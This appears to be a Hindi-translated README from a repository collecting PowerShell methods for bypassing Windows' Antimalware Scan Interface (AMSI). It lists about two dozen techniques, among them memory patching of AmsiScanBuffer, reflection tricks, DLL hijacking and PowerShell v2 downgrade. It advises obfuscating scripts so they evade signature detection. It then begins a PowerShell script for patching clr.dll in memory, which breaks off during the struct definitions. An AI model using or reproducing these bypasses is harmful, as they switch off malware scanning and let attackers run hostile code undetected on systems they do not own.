प्रायोजित

     

Amsi-Bypass-Powershell

इस रिपॉजिटरी में कुछ एंटीमैलवेयर स्कैन इंटरफ़ेस (AMSI) बायपास / परिहार विधियाँ हैं जो मैंने विभिन्न ब्लॉग पोस्ट्स पर पाईं।

अधिकांश स्क्रिप्ट AMSI द्वारा ही पहचानी जाती हैं। इसलिए आपको trigger ढूंढना होगा और वेरिएबल/फंक्शन का नाम बदलकर, स्ट्रिंग प्रतिस्थापन करके या रनटाइम पर एन्कोडिंग और डिकोडिंग करके सिग्नेचर को बदलना होगा। वैकल्पिक रूप से उन्हें ISESteroids या Invoke-Obfuscation के माध्यम से अस्पष्ट करें ताकि वे काम करें। आप मेरे blog post को भी देख सकते हैं जिसमें मैन्युअल रूप से सिग्नेचर बदलकर एक मान्य बायपास प्राप्त करने के बारे में बताया गया है।

0. clr.dll में AmsiScanBuffer पैच करना
1. ScriptBlock Smuggling
2. Reflection ScanContent परिवर्तन
3. हार्डवेयर ब्रेकपॉइंट का उपयोग करना
4. CLR हुकिंग का उपयोग करना
5. Microsoft MpOav.dll के प्रदाता DLL को पैच करें
6. स्कैनिंग इंटरसेप्शन और प्रदाता फंक्शन पैचिंग
7. rasta-mouse द्वारा AMSI AmsiScanBuffer पैच करना
8. AMSI AmsiOpenSession पैच करना
9. net webclient का उपयोग न करें - यह अब काम नहीं करता
10. Amsi ScanBuffer पैच -> https://www.contextis.com/de/blog/amsi-bypass
11. त्रुटि उत्पन्न करना
12. स्क्रिप्ट लॉगिंग अक्षम करें
13. Amsi Buffer Patch - मेमोरी में
14. 6 जैसा ही लेकिन Base64 के बजाय पूर्णांक बाइट्स
15. Matt Graeber की Reflection विधि का उपयोग करना
16. WMF5 ऑटोलॉगिंग बायपास के साथ Matt Graeber की Reflection विधि का उपयोग करना
17. Matt Graeber की दूसरी Reflection विधि का उपयोग करना
18. Cornelis de Plaa की DLL हाईजैक विधि का उपयोग करना
19. Powershell संस्करण 2 का उपयोग करें - वहां AMSI समर्थन नहीं है
20. Nishang सभी एक में
21. Adam Chesters पैच
22. 3. Amsi ScanBuffer का संशोधित संस्करण - कोई CSC.exe संकलन नहीं
23. System.Management.Automation.dll में AmsiScanBuffer पता पैच करना

Clr पैच करना

• यहाँ समझाया गया है मेमोरी में CLR DLL संशोधित करना```powershell

Define Constants

$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260

Helper functions

function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) }

function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true }

if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()